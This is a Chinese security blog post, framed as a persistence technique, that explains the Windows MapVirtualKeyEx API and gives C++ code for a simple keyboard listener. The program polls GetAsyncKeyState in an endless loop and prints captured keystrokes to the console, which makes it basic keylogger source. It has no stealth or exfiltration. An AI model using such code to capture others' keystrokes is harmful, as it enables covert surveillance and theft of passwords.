本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者及本公众号不为此承担任何责任。
UINT
MapVirtualKeyEx(
UINT
uCode,
UINT
uMapType, HKL dwhkl );
-
uCode:指定要转换的虚拟键码或扫描码。 -
uMapType:定义要执行的转换类型。 -
dwhkl:指定键盘布局的句柄。如果此参数为 NULL,函数使用当前激活的键盘布局。
-
MAPVK_VK_TO_CHAR:将虚拟键码转换为字符。如果虚拟键码不是字符(例如功能键),返回值为0。 -
MAPVK_VK_TO_VSC:将虚拟键码转换为键盘的扫描码。 -
MAPVK_VSC_TO_VK:将键盘扫描码转换为虚拟键码。 -
MAPVK_VK_TO_VSC_EX:类似MAPVK_VK_TO_VSC,但是区分左右位置的特定键(例如左Shift和右Shift)。 -
MAPVK_VSC_TO_VK_EX:类似MAPVK_VSC_TO_VK,但提供更精确的虚拟键码,尤其是对于扩展键。
编程实践
- VisualStudio新建一个控制台应用:
2. 写一个无限循环,每次sleep一定的间隔,然后从1-254去获取每个键盘虚拟码的按下状态,如果状态激活则转换输出:
int
main
()
{
int
duration =
100
;
while
(
true
)
{
for
(
int
i =
1
; i <
254
; ++i) {
SHORT vkey = GetAsyncKeyState(i);
if
(vkey &
0x8000
) {
// 获取键盘布局
HKL layout = GetKeyboardLayout(
0
);
// 将虚拟键码转换为字符
UINT charCode = MapVirtualKeyEx(i, MAPVK_VK_TO_CHAR, layout);
// 检查是否产生了ASCII字符
if
(charCode >
0
) {
std
::
cout
<<
static_cast
<
char
>(charCode) <<
std
::
endl
;
}
else
{
switch
(i) {
// 按键的例子,可根据需要增加更多按键
case
VK_LEFT:
std
::
cout
<<
"[LEFT ARROW]"
;
break
;
case
VK_UP:
std
::
cout
<<
"[UP ARROW]"
;
break
;
case
VK_RIGHT:
std
::
cout
<<
"[RIGHT ARROW]"
;
break
;
case
VK_DOWN:
std
::
cout
<<
"[DOWN ARROW]"
;
break
;
case
VK_RETURN:
std
::
cout
<<
"[ENTER]"
;
break
;
case
VK_SPACE:
std
::
cout
<<
" "
;
break
;
// 其他按键...
}
}
}
}
Sleep(duration);
}
}
3. 最后编译测试,成功输出我按下的按键:
原文始发于微信公众号(赛博安全狗):【权限维持技术】Windows Api实现键盘监听器
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论